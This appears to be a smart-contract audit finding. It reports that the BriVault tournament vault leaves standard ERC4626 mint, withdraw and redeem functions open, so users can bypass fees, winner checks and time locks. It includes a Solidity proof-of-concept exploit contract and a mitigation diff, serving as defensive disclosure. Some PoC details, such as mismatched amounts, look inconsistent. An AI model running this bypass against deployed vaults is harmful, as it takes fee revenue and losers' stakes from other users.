ERC4626 Standard Functions Bypass Tournament Logic
Description
The normal behavior is that users should only be able to deposit tokens by paying a participation fee through the custom deposit() function, and should only be able to withdraw if they bet on the winning team after the event ends.
The issue is that BriVault inherits from ERC4626 which provides standard mint(), withdraw(), and redeem() functions that are not overridden, allowing users to bypass all tournament logic including participation fees, winner checks, and event timing restrictions.
contract BriVault is ERC4626, Ownable {
function deposit(uint256 assets, address receiver) public override returns (uint256) {
}
function withdraw() external winnerSet {
}
}
Risk
Likelihood:
Any user who reads the contract code or uses a block explorer will see the public ERC4626 functions available
Requires zero technical sophistication - just calling standard ERC4626 functions that are well-documented
Will occur as soon as any user wants to avoid fees or withdraw after losing
Attack is discoverable through standard contract interaction tools like Etherscan
Impact:
Users can mint unlimited shares without paying the 3% participation fee, stealing fee revenue
Losers can withdraw their full deposits by calling redeem(), completely breaking the betting mechanics
Users can withdraw before event ends using standard withdraw(), breaking time locks
Complete economic collapse - tournament mechanics become meaningless
Protocol revenue drops to zero (no fees collected)
Proof of Concept
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ERC4626Bypass {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function bypassParticipationFee(uint256 amount) external {
asset.transferFrom(msg.sender, address(this), amount);
asset.transfer(address(vault), amount);
vault.mint(amount, address(this));
}
function withdrawAfterLosing() external returns (uint256) {
uint256 shares = vault.balanceOf(address(this));
uint256 assets = vault.redeem(shares, address(this), address(this));
return assets;
}
function earlyWithdrawal() external returns (uint256) {
uint256 shares = vault.balanceOf(address(this));
uint256 assets = vault.convertToAssets(shares);
vault.withdraw(assets, address(this), address(this));
return assets;
}
function completeBypass() external {
asset.approve(address(vault), 1000e6);
asset.transfer(address(vault), 1000e6);
vault.mint(1000e18, address(this));
vault.redeem(1000e18, address(this), address(this));
}
}
Recommended Mitigation
contract BriVault is ERC4626, Ownable {
+ // Error for disabled functions
+ error ERC4626FunctionDisabled();
+ // Override and disable standard ERC4626 deposit functions
+ function mint(uint256, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ // Override and disable standard ERC4626 withdrawal functions
+ function withdraw(uint256, address, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function redeem(uint256, address, address) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ // Also disable preview functions to avoid user confusion
+ function previewWithdraw(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function previewRedeem(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
+
+ function previewMint(uint256) public pure override returns (uint256) {
+ revert ERC4626FunctionDisabled();
+ }
// Keep only custom deposit with fee logic
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ... existing implementation with fees
}
}